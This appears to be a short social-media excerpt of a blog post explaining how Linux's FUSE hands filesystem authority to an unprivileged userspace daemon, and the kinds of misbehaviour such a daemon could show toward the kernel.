For a real on-disk filesystem, the kernel trusts these structures absolutely. Why wouldn’t it? They’re populated by code the kernel itself compiled, operating on bytes pulled from a block device the kernel owns. The integrity chain is monolithic: block layer → fs driver → VFS → syscall return. There is no adversary in that pipeline that isn’t already root.

Then there is FUSE.

The Inversion

fuse.ko is a proxy. When a process calls read(2) on a FUSE-backed file, the kernel does not resolve the request itself. Instead:

  1. VFS dispatches into the FUSE file_operations vtable (fuse_file_read_iterfuse_getattrfuse_lookup, …).
  2. FUSE marshals the request into a struct fuse_req, wraps it in a header, and pushes it onto /dev/fuse.
  3. An unprivileged userspace daemon — running as a regular UID with no special capabilities — read(2)s the request from /dev/fuse, processes it however it likes, and write(2)s a reply back.
  4. FUSE parses the reply, populates kernel structures, and returns to VFS as if a real filesystem had answered.

Read that again. The semantic authority of “I am the filesystem” has been delegated to an unprivileged process that the kernel must assume is hostile.

The FUSE daemon can:

  • Lie about a file’s size, owner, mode, mtime, or inode number on every vfs_getattr call.
  • Return different data on every read_iter for the same offset.
  • Block forever, ignoring FUSE_INTERRUPT requests.
  • Crash mid-transaction, leaving in-flight struct fuse_req objects pinning kernel state.
  • Configure connection parameters (fc->max_readfc->max_writeFOPEN_DIRECT_IO) that disable kernel-side chunking and caching invariants.

​

more on the blog
netacoding.com
u/Pale_Surround_3924 — 2 months ago